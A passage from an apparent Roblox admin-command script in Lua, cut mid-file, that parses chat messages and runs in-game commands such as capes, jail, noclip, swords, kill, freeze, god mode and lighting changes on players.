  439. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  440. if obj and #obj:children() >= 1 and plr.Character then
  441. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  442. end
  443. end))
  444. end
  445.  
  446. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  447. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  448. objects = {}
  449. end
  450.  
  451. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  452. game.Lighting.Ambient = origsettings.abt
  453. game.Lighting.Brightness = origsettings.brt
  454. game.Lighting.TimeOfDay = origsettings.time
  455. game.Lighting.FogColor = origsettings.fclr
  456. game.Lighting.FogEnd = origsettings.fe
  457. game.Lighting.FogStart = origsettings.fs
  458. for i, v in pairs(lobjs) do v:Destroy() end
  459. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  460. end
  461.  
  462. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  463. coroutine.resume(coroutine.create(function()
  464. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  465. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  466. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  467. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  468. end))
  469. end
  470.  
  471. if msg:lower():sub(1,2) == "m " then
  472. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  473. end
  474.  
  475. if msg:lower():sub(1,2) == "h " then
  476. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  477. end
  478.  
  479. if msg:lower():sub(1,3) == "pm " then
  480. local chk1 = msg:lower():sub(4):find(" ") + 3
  481. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  482. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  483. end
  484.  
  485. if msg:lower():sub(1,11) == "resetstats " then
  486. local plrz = GetPlr(plr, msg:lower():sub(12))
  487. for i, v in pairs(plrz) do
  488. coroutine.resume(coroutine.create(function()
  489. if v and v:findFirstChild("leaderstats") then
  490. for a, q in pairs(v.leaderstats:children()) do
  491. if q:IsA("IntValue") then q.Value = 0 end
  492. end
  493. end
  494. end))
  495. end
  496. end
  497.  
  498. if msg:lower():sub(1,5) == "gear " then
  499. local chk1 = msg:lower():sub(6):find(" ") + 5
  500. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  501. for i, v in pairs(plrz) do
  502. coroutine.resume(coroutine.create(function()
  503. if v and v.Character then
  504. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  505. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Character end end
  506. obj:Destroy()
  507. end
  508. end))
  509. end
  510. end
  511.  
  512. if msg:lower():sub(1,4) == "hat " then
  513. local chk1 = msg:lower():sub(5):find(" ") + 4
  514. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  515. for i, v in pairs(plrz) do
  516. coroutine.resume(coroutine.create(function()
  517. if v and v.Character then
  518. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  519. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  520. obj:Destroy()
  521. end
  522. end))
  523. end
  524. end
  525.  
  526. if msg:lower():sub(1,5) == "cape " then
  527. local chk1 = msg:lower():sub(6):find(" ")
  528. local plrz = GetPlr(plr, msg:lower():sub(6))
  529. local str = "torso.BrickColor"
  530. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  531. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  532. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  533. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  534. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  535. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  536. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  537. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  538. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  539. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  540. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  541. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  542. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  543. if BrickColor.new(teststr) ~= nil then str = teststr end
  544. end
  545. for i, v in pairs(plrz) do
  546. coroutine.resume(coroutine.create(function()
  547. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  548. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  549. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  550. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  551. local torso = plr.Character.Torso
  552. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  553. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  554. p.Size = Vector3.new(.2,.2,.2)
  555. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  556. local motor1 = Instance.new("Motor", p)
  557. motor1.Part0 = p
  558. motor1.Part1 = torso
  559. motor1.MaxVelocity = .01
  560. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  561. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  562. local wave = false
  563. repeat wait(1/44)
  564. local ang = 0.1
  565. local oldmag = torso.Velocity.magnitude
  566. local mv = .002
  567. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  568. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  569. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  570. motor1.DesiredAngle = -ang
  571. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  572. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  573. if torso.Velocity.magnitude < .1 then wait(.1) end
  574. until not p or p.Parent ~= torso.Parent
  575. script:Destroy()
  576. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  577. end
  578. end))
  579. end
  580. end
  581.  
  582. if msg:lower():sub(1,7) == "uncape " then
  583. local plrz = GetPlr(plr, msg:lower():sub(8))
  584. for i, v in pairs(plrz) do
  585. coroutine.resume(coroutine.create(function()
  586. if v and v:findFirstChild("PlayerGui") and v.Character then
  587. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  588. end
  589. end))
  590. end
  591. end
  592.  
  593. if msg:lower():sub(1,7) == "noclip " then
  594. local plrz = GetPlr(plr, msg:lower():sub(8))
  595. for i, v in pairs(plrz) do
  596. coroutine.resume(coroutine.create(function()
  597. if v and v:findFirstChild("PlayerGui") then
  598. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  599. cl.Parent = v.PlayerGui cl.Disabled = false
  600. end
  601. end))
  602. end
  603. end
  604.  
  605. if msg:lower():sub(1,5) == "clip " then
  606. local plrz = GetPlr(plr, msg:lower():sub(6))
  607. for i, v in pairs(plrz) do
  608. coroutine.resume(coroutine.create(function()
  609. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  610. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  611. v.Character.Torso.Anchored = false
  612. wait(.1) v.Character.Humanoid.PlatformStand = false
  613. end
  614. end))
  615. end
  616. end
  617.  
  618. if msg:lower():sub(1,5) == "jail " then
  619. local plrz = GetPlr(plr, msg:lower():sub(6))
  620. for i, v in pairs(plrz) do
  621. coroutine.resume(coroutine.create(function()
  622. if v and v.Character and v.Character:findFirstChild("Torso") then
  623. local vname = v.Name
  624. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  625. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  626. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  627. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  628. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  629. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  630. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  631. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  632. end)
  633. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  634. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  635. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  636. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  637. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  638. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  639. local msh2 = msh:Clone() msh2.Parent = back
  640. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  641. local msh4 = msh3:Clone() msh4.Parent = left
  642. v.Character.Torso.CFrame = cf
  643. end
  644. end))
  645. end
  646. end
  647.  
  648. if msg:lower():sub(1,7) == "unjail " then
  649. local plrz = GetPlr(plr, msg:lower():sub(8))
  650. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  651. end
  652.  
  653. if msg:lower():sub(1,11) == "starttools " then
  654. local plrz = GetPlr(plr, msg:lower():sub(12))
  655. for i, v in pairs(plrz) do
  656. coroutine.resume(coroutine.create(function()
  657. if v and v:findFirstChild("Backpack") then
  658. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  659. end
  660. end))
  661. end
  662. end
  663.  
  664. if msg:lower():sub(1,6) == "sword " then
  665. local plrz = GetPlr(plr, msg:lower():sub(7))
  666. for i, v in pairs(plrz) do
  667. coroutine.resume(coroutine.create(function()
  668. if v and v:findFirstChild("Backpack") then
  669. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  670. sword.GripForward = Vector3.new(-1,0,0)
  671. sword.GripPos = Vector3.new(0,0,-1.5)
  672. sword.GripRight = Vector3.new(0,1,0)
  673. sword.GripUp = Vector3.new(0,0,1)
  674. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  675. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  676. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  677. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  678. local Damage = 15
  679. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  680. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  681. SlashSound.Volume = 1
  682. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  683. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  684. LungeSound.Volume = 1
  685. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  686. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  687. UnsheathSound.Volume = 1
  688. local last = 0
  689. script.Parent.Handle.Touched:connect(function(hit)
  690. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  691. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  692. hit.Parent.Humanoid:TakeDamage(Damage)
  693. end
  694. end)
  695. script.Parent.Activated:connect(function()
  696. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  697. script.Parent.Enabled = false
  698. local tick = game:service("RunService").Stepped:wait()
  699. if tick - last <= .2 then
  700. LungeSound:play()
  701. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  702. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  703. wait(.2)
  704. script.Parent.GripForward = Vector3.new(0,0,1)
  705. script.Parent.GripRight = Vector3.new(0,-1,0)
  706. script.Parent.GripUp = Vector3.new(-1,0,0)
  707. wait(.3)
  708. frc:Destroy() wait(.5)
  709. script.Parent.GripForward = Vector3.new(-1,0,0)
  710. script.Parent.GripRight = Vector3.new(0,1,0)
  711. script.Parent.GripUp = Vector3.new(0,0,1)
  712. else
  713. SlashSound:play()
  714. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  715. end
  716. last = tick
  717. script.Parent.Enabled = true
  718. end)
  719. script.Parent.Equipped:connect(function(mouse)
  720. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  721. UnsheathSound:play()
  722. script.Parent.Enabled = true
  723. if not mouse then return end
  724. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  725. end)]] cl.Disabled = false
  726. end
  727. end))
  728. end
  729. end
  730.  
  731. if msg:lower():sub(1,5) == "kill " then
  732. local plrz = GetPlr(plr, msg:lower():sub(6))
  733. for i, v in pairs(plrz) do
  734. coroutine.resume(coroutine.create(function()
  735. if v and v.Character then v.Character:BreakJoints() end
  736. end))
  737. end
  738. end
  739.  
  740. if msg:lower():sub(1,8) == "respawn " then
  741. local plrz = GetPlr(plr, msg:lower():sub(9))
  742. for i, v in pairs(plrz) do
  743. coroutine.resume(coroutine.create(function()
  744. if v and v.Character then v:LoadCharacter() end
  745. end))
  746. end
  747. end
  748.  
  749. if msg:lower():sub(1,5) == "trip " then
  750. local plrz = GetPlr(plr, msg:lower():sub(6))
  751. for i, v in pairs(plrz) do
  752. coroutine.resume(coroutine.create(function()
  753. if v and v.Character and v.Character:findFirstChild("Torso") then
  754. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  755. end
  756. end))
  757. end
  758. end
  759.  
  760. if msg:lower():sub(1,5) == "stun " then
  761. local plrz = GetPlr(plr, msg:lower():sub(6))
  762. for i, v in pairs(plrz) do
  763. coroutine.resume(coroutine.create(function()
  764. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  765. v.Character.Humanoid.PlatformStand = true
  766. end
  767. end))
  768. end
  769. end
  770.  
  771. if msg:lower():sub(1,7) == "unstun " then
  772. local plrz = GetPlr(plr, msg:lower():sub(8))
  773. for i, v in pairs(plrz) do
  774. coroutine.resume(coroutine.create(function()
  775. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  776. v.Character.Humanoid.PlatformStand = false
  777. end
  778. end))
  779. end
  780. end
  781.  
  782. if msg:lower():sub(1,5) == "jump " then
  783. local plrz = GetPlr(plr, msg:lower():sub(6))
  784. for i, v in pairs(plrz) do
  785. coroutine.resume(coroutine.create(function()
  786. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  787. v.Character.Humanoid.Jump = true
  788. end
  789. end))
  790. end
  791. end
  792.  
  793. if msg:lower():sub(1,4) == "sit " then
  794. local plrz = GetPlr(plr, msg:lower():sub(5))
  795. for i, v in pairs(plrz) do
  796. coroutine.resume(coroutine.create(function()
  797. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  798. v.Character.Humanoid.Sit = true
  799. end
  800. end))
  801. end
  802. end
  803.  
  804. if msg:lower():sub(1,10) == "invisible " then
  805. local plrz = GetPlr(plr, msg:lower():sub(11))
  806. for i, v in pairs(plrz) do
  807. coroutine.resume(coroutine.create(function()
  808. if v and v.Character then
  809. for a, obj in pairs(v.Character:children()) do
  810. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  811. end
  812. end
  813. end))
  814. end
  815. end
  816.  
  817. if msg:lower():sub(1,8) == "visible " then
  818. local plrz = GetPlr(plr, msg:lower():sub(9))
  819. for i, v in pairs(plrz) do
  820. coroutine.resume(coroutine.create(function()
  821. if v and v.Character then
  822. for a, obj in pairs(v.Character:children()) do
  823. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  824. end
  825. end
  826. end))
  827. end
  828. end
  829.  
  830. if msg:lower():sub(1,5) == "lock " then
  831. local plrz = GetPlr(plr, msg:lower():sub(6))
  832. for i, v in pairs(plrz) do
  833. coroutine.resume(coroutine.create(function()
  834. if v and v.Character then
  835. for a, obj in pairs(v.Character:children()) do
  836. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  837. end
  838. end
  839. end))
  840. end
  841. end
  842.  
  843. if msg:lower():sub(1,7) == "unlock " then
  844. local plrz = GetPlr(plr, msg:lower():sub(8))
  845. for i, v in pairs(plrz) do
  846. coroutine.resume(coroutine.create(function()
  847. if v and v.Character then
  848. for a, obj in pairs(v.Character:children()) do
  849. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  850. end
  851. end
  852. end))
  853. end
  854. end
  855.  
  856. if msg:lower():sub(1,8) == "explode " then
  857. local plrz = GetPlr(plr, msg:lower():sub(9))
  858. for i, v in pairs(plrz) do
  859. coroutine.resume(coroutine.create(function()
  860. if v and v.Character and v.Character:findFirstChild("Torso") then
  861. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  862. end
  863. end))
  864. end
  865. end
  866.  
  867. if msg:lower():sub(1,4) == "age " then
  868. local plrz = GetPlr(plr, msg:lower():sub(5))
  869. for i, v in pairs(plrz) do
  870. coroutine.resume(coroutine.create(function()
  871. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  872. end))
  873. end
  874. end
  875.  
  876. if msg:lower():sub(1,5) == "fire " then
  877. local plrz = GetPlr(plr, msg:lower():sub(6))
  878. for i, v in pairs(plrz) do
  879. coroutine.resume(coroutine.create(function()
  880. if v and v.Character and v.Character:findFirstChild("Torso") then
  881. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  882. end
  883. end))
  884. end
  885. end
  886.  
  887. if msg:lower():sub(1,7) == "unfire " then
  888. local plrz = GetPlr(plr, msg:lower():sub(8))
  889. for i, v in pairs(plrz) do
  890. coroutine.resume(coroutine.create(function()
  891. if v and v.Character and v.Character:findFirstChild("Torso") then
  892. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  893. end
  894. end))
  895. end
  896. end
  897.  
  898. if msg:lower():sub(1,6) == "smoke " then
  899. local plrz = GetPlr(plr, msg:lower():sub(7))
  900. for i, v in pairs(plrz) do
  901. coroutine.resume(coroutine.create(function()
  902. if v and v.Character and v.Character:findFirstChild("Torso") then
  903. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  904. end
  905. end))
  906. end
  907. end
  908.  
  909. if msg:lower():sub(1,8) == "unsmoke " then
  910. local plrz = GetPlr(plr, msg:lower():sub(9))
  911. for i, v in pairs(plrz) do
  912. coroutine.resume(coroutine.create(function()
  913. if v and v.Character and v.Character:findFirstChild("Torso") then
  914. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  915. end
  916. end))
  917. end
  918. end
  919.  
  920. if msg:lower():sub(1,9) == "sparkles " then
  921. local plrz = GetPlr(plr, msg:lower():sub(10))
  922. for i, v in pairs(plrz) do
  923. coroutine.resume(coroutine.create(function()
  924. if v and v.Character and v.Character:findFirstChild("Torso") then
  925. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  926. end
  927. end))
  928. end
  929. end
  930.  
  931. if msg:lower():sub(1,11) == "unsparkles " then
  932. local plrz = GetPlr(plr, msg:lower():sub(12))
  933. for i, v in pairs(plrz) do
  934. coroutine.resume(coroutine.create(function()
  935. if v and v.Character and v.Character:findFirstChild("Torso") then
  936. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  937. end
  938. end))
  939. end
  940. end
  941.  
  942. if msg:lower():sub(1,3) == "ff " then
  943. local plrz = GetPlr(plr, msg:lower():sub(4))
  944. for i, v in pairs(plrz) do
  945. coroutine.resume(coroutine.create(function()
  946. if v and v.Character then Instance.new("ForceField", v.Character) end
  947. end))
  948. end
  949. end
  950.  
  951. if msg:lower():sub(1,5) == "unff " then
  952. local plrz = GetPlr(plr, msg:lower():sub(6))
  953. for i, v in pairs(plrz) do
  954. coroutine.resume(coroutine.create(function()
  955. if v and v.Character then
  956. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  957. end
  958. end))
  959. end
  960. end
  961.  
  962. if msg:lower():sub(1,7) == "punish " then
  963. local plrz = GetPlr(plr, msg:lower():sub(8))
  964. for i, v in pairs(plrz) do
  965. coroutine.resume(coroutine.create(function()
  966. if v and v.Character then
  967. v.Character.Parent = game:service("Lighting")
  968. end
  969. end))
  970. end
  971. end
  972.  
  973. if msg:lower():sub(1,9) == "unpunish " then
  974. local plrz = GetPlr(plr, msg:lower():sub(10))
  975. for i, v in pairs(plrz) do
  976. coroutine.resume(coroutine.create(function()
  977. if v and v.Character then
  978. v.Character.Parent = game:service("Workspace")
  979. v.Character:MakeJoints()
  980. end
  981. end))
  982. end
  983. end
  984.  
  985. if msg:lower():sub(1,7) == "freeze " then
  986. local plrz = GetPlr(plr, msg:lower():sub(8))
  987. for i, v in pairs(plrz) do
  988. coroutine.resume(coroutine.create(function()
  989. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  990. for a, obj in pairs(v.Character:children()) do
  991. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  992. end
  993. end
  994. end))
  995. end
  996. end
  997.  
  998. if msg:lower():sub(1,5) == "thaw " then
  999. local plrz = GetPlr(plr, msg:lower():sub(6))
  1000. for i, v in pairs(plrz) do
  1001. coroutine.resume(coroutine.create(function()
  1002. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1003. for a, obj in pairs(v.Character:children()) do
  1004. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1005. end
  1006. end
  1007. end))
  1008. end
  1009. end
  1010.  
  1011. if msg:lower():sub(1,5) == "heal " then
  1012. local plrz = GetPlr(plr, msg:lower():sub(6))
  1013. for i, v in pairs(plrz) do
  1014. coroutine.resume(coroutine.create(function()
  1015. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1016. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1017. end
  1018. end))
  1019. end
  1020. end
  1021.  
  1022. if msg:lower():sub(1,4) == "god " then
  1023. local plrz = GetPlr(plr, msg:lower():sub(5))
  1024. for i, v in pairs(plrz) do
  1025. coroutine.resume(coroutine.create(function()
  1026. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1027. v.Character.Humanoid.MaxHealth = math.huge
  1028. v.Character.Humanoid.Health = 9e9
  1029. end
  1030. end))
  1031. end
  1032. end
  1033.  
  1034. if msg:lower():sub(1,6) == "ungod " then
  1035. local plrz = GetPlr(plr, msg:lower():sub(7))
  1036. for i, v in pairs(plrz) do
  1037. coroutine.resume(coroutine.create(function()
  1038. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1039. v.Character.Humanoid.MaxHealth = 100
  1040. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1041. end
  1042. end))
  1043. end
  1044. end
  1045.  
  1046. if msg:lower():sub(1,8) == "ambient " then
  1047. local chk1 = msg:lower():sub(9):find(" ") + 8
  1048. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1049. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1050. end
  1051.  
  1052. if msg:lower():sub(1,11) == "brightness " then
  1053. game.Lighting.Brightness = msg:sub(12)
  1054. end
  1055.  
  1056. if msg:lower():sub(1,5) == "time " then
  1057. game.Lighting.TimeOfDay = msg:sub(6)
  1058. end
  1059.  
  1060. if msg:lower():sub(1,9) == "fogcolor " then
  1061. local chk1 = msg:lower():sub(10):find(" ") + 9
  1062. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1063. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1064. end
  1065.  
  1066. if msg:lower():sub(1,7) == "fogend " then
  1067. game.Lighting.FogEnd = msg:sub(8)
  1068. end
  1069.  
  1070. if msg:lower():sub(1,9) == "fogstart " then
  1071. game.Lighting.FogStart = msg:sub(10)
  1072. end
  1073.  
  1074. if msg:lower():sub(1,7) == "btools " then
  1075. local plrz = GetPlr(plr, msg:lower():sub(8))
  1076. for i, v in pairs(plrz) do
